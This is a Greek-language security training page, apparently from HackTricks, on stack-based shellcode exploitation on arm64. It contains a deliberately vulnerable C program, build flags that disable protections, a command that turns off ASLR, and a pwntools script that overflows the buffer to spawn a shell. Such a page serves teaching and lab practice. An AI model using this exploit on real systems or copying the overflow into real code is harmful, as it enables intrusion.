74 lines
2.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Stack Shellcode - arm64
{{#include ../../../banners/hacktricks-training.md}}
Βρείτε μια εισαγωγή στο arm64 στο:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
```c
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
```
Συγκέντρωση χωρίς pie, canary και nx:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## No ASLR & No canary - Stack Overflow
Για να σταματήσετε το ASLR εκτελέστε:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Για να αποκτήσετε το [**offset του bof ελέγξτε αυτόν τον σύνδεσμο**](../ret2win/ret2win-arm64.md#finding-the-offset).
Εκμετάλλευση:
```python
from pwn import *
# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)
# Generate shellcode
shellcode = asm(shellcraft.sh())
# Start the process
p = process(binary_name)
# Offset to return address
offset = 72
# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)
# Craft the payload
payload = b'A' * offset + ret_address + shellcode
print("Payload length: "+ str(len(payload)))
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
```
Το μόνο "περίπλοκο" πράγμα που πρέπει να βρείτε εδώ θα ήταν η διεύθυνση στη στοίβα για να καλέσετε. Στην περίπτωσή μου, δημιούργησα την εκμετάλλευση με τη διεύθυνση που βρήκα χρησιμοποιώντας το gdb, αλλά στη συνέχεια όταν την εκμεταλλεύτηκα δεν λειτούργησε (επειδή η διεύθυνση της στοίβας άλλαξε λίγο).
Άνοιξα το παραγόμενο **`core` αρχείο** (`gdb ./bog ./core`) και έλεγξα τη πραγματική διεύθυνση της αρχής του shellcode.
{{#include ../../../banners/hacktricks-training.md}}